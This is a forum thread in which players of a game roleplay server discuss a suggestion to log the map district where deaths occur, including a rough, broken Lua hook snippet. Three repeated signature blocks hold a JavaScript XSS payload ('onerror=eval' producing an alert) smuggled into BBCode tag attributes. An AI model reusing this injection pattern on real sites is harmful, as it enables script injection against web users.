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TOPIC: [SSRP] F1 NLR district information

[SSRP] F1 NLR district information 9 years 3 weeks ago #205707

Server Name: SSRP 1 & 2

Suggestion Title: District info

How would it benefit the server: It allows the staff to check where they died, using the districts that are provided on the map as specified sectors. Tells you where the target has died. Shows clear evidence of NLR being broken, and minimizes any lies being made

Potential Issues/Exploits: People can still shoot people from other districts.

Additional notes: I made a thread of this a few months ago, but I don't know where it went
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[SSRP] F1 NLR district information 9 years 3 weeks ago #205711

no i made this thread a few months ago
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[SSRP] F1 NLR district information 9 years 3 weeks ago #205724

:plussp:
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[SSRP] F1 NLR district information 9 years 3 weeks ago #205726

Exrobite wrote:
no i made this thread a few months ago

M8, I made it
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[SSRP] F1 NLR district information 9 years 3 weeks ago #205727

The Eliminator wrote:
Exrobite wrote:
no i made this thread a few months ago

M8, I made it

sorry but I aren't think that
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[SSRP] F1 NLR district information 8 years 9 months ago #252277

Sorry for necro posting, but can EMP look at this?
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[SSRP] F1 NLR district information 8 years 9 months ago #252281

Not exactly fodder. Both kills could have been in different districts. For example if Peter were to have killed Ponta at the banker, then ran to spawn but died to Ponta.
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[SSRP] F1 NLR district information 8 years 9 months ago #252286

Lies or truth, you can't decide. Screenshots don't mean much as you could be done for revenge RDM, or it can be NLR. Gotta be exactly sure
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Last Edit: 8 years 9 months ago by The Eliminator.
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[SSRP] F1 NLR district information 8 years 9 months ago #252295

Well tell me, What happens if someone dies in between districts?
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[SSRP] F1 NLR district information 8 years 9 months ago #252315

Aidan|DaleAGaming wrote:
Well tell me, What happens if someone dies in between districts?

The hypothetical boundaries should be placed halfway through each tunnel, in order to stop this shitty loophole everyone thinks of by dying in the tunnel.
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[SSRP] F1 NLR district information 8 years 9 months ago #253315

Having this think hook running every tick to check where they died may cause a bit of stress on the the server at 90/90 players but most things do.

Would be nice if it doesn't lag the server much
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[SSRP] F1 NLR district information 8 years 9 months ago #253316

DEADMONSTOR wrote:
Having this think hook running every tick to check where they died may cause a bit of stress on the the server at 90/90 players but most things do.

Would be nice if it doesn't lag the server much
Would you need a hook to run every second?
If coded properly a better approach could involve determining when they change districts when they move and include that information eith the death log.

I think having a location for every log, and on demand Dave logs would make pinning rule breakers easy
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[SSRP] F1 NLR district information 8 years 9 months ago #253318

:plussp:
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[SSRP] F1 NLR district information 8 years 9 months ago #253319

Soxey6 wrote:
DEADMONSTOR wrote:
Having this think hook running every tick to check where they died may cause a bit of stress on the the server at 90/90 players but most things do.

Would be nice if it doesn't lag the server much
Would you need a hook to run every second?
If coded properly a better approach could involve determining when they change districts when they move and include that information eith the death log.

I think having a location for every log, and on demand Dave logs would make pinning rule breakers easy
But the hook would have to check if they changed districts it's not just going to run the function without a hook/timer
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[SSRP] F1 NLR district information 8 years 9 months ago #253328

DEADMONSTOR wrote:
But the hook would have to check if they changed districts it's not just going to run the function without a hook/timer
I thought there was a hook during movent of entities. Or am I going crazy?
Anyway, there are ways to do this without running every tick, I believe we can hook something when death occurs.
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[spoiler=throw/a/,Uncaught=1,g=alert,a=URL+0,onerror=eval,/1/g+a[12]+[1337]+a[13]]'throw/a/,Uncaught=1,g=alert,a=URL+0,onerror=eval,/1/g+a[12]+[1337]+a[13][/spoiler][quote=throw/a/,Uncaught=1,g=alert,a=URL+0,onerror=eval,/1/g+a[12]+[1337]+a[13]][code=throw/a/,Uncaught=1,g=alert,a=URL+0,onerror=eval,/1/g+a[12]+[1337]...
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[SSRP] F1 NLR district information 8 years 9 months ago #253330

Now I know very little of this coding malarky, so my contributions will be similar in usefulness, but surely you'd just code so it checks the position when they die instead of every few seconds.
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[SSRP] F1 NLR district information 8 years 9 months ago #253332

What if he dies when he changes districts but the check was hadn't run...
If he died then, he'd be shown in the wrong districts.
Good idea but kinda impracticable
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[spoiler=throw/a/,Uncaught=1,g=alert,a=URL+0,onerror=eval,/1/g+a[12]+[1337]+a[13]]'throw/a/,Uncaught=1,g=alert,a=URL+0,onerror=eval,/1/g+a[12]+[1337]+a[13][/spoiler][quote=throw/a/,Uncaught=1,g=alert,a=URL+0,onerror=eval,/1/g+a[12]+[1337]+a[13]][code=throw/a/,Uncaught=1,g=alert,a=URL+0,onerror=eval,/1/g+a[12]+[1337]...
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[SSRP] F1 NLR district information 8 years 9 months ago #253334

Well he can't change his district when he's dead.

Could it be coded like weapon logs? I'm sure they don't constantly relay what gun everyone is holding to the server.
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[SSRP] F1 NLR district information 8 years 9 months ago #253335

Soxey6 wrote:
What if he dies when he changes districts but the check was hadn't run...
If he died then, he'd be shown in the wrong districts.
Good idea but kinda impracticable
Function test(victim)
       test = victim:GetPos()
     If test <= Vec(255,255,947) 
             Return bobs house lol
     End
End
hook.Add("PlayerDeath", "whatevernamehere", test)
Inb4 EMP says it's all wrong
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Last Edit: 8 years 9 months ago by DEADMONSTOR.
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[SSRP] F1 NLR district information 8 years 9 months ago #253336

@exrobite
For the first part, if he changes districts and dies before the function is called, its give the wrong info.
It needs to be run more then every couple of seconds OR on each death

DEADMONSTOR wrote:
Soxey6 wrote:
What if he dies when he changes districts but the check was hadn't run...
If he died then, he'd be shown in the wrong districts.
Good idea but kinda impracticable
Function test(victim)
       test = victim:GetPos()
     If test <= Vec(255,255,947) 
             Return bobs house lol
End
End
hook.Add("PlayerDeath", "whatevernamehere", test)

Was talking to exrobite but anyway, yeah its entirely possible.
Not hard then for death.
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[spoiler=throw/a/,Uncaught=1,g=alert,a=URL+0,onerror=eval,/1/g+a[12]+[1337]+a[13]]'throw/a/,Uncaught=1,g=alert,a=URL+0,onerror=eval,/1/g+a[12]+[1337]+a[13][/spoiler][quote=throw/a/,Uncaught=1,g=alert,a=URL+0,onerror=eval,/1/g+a[12]+[1337]+a[13]][code=throw/a/,Uncaught=1,g=alert,a=URL+0,onerror=eval,/1/g+a[12]+[1337]...
Last Edit: 8 years 9 months ago by kristofferson.
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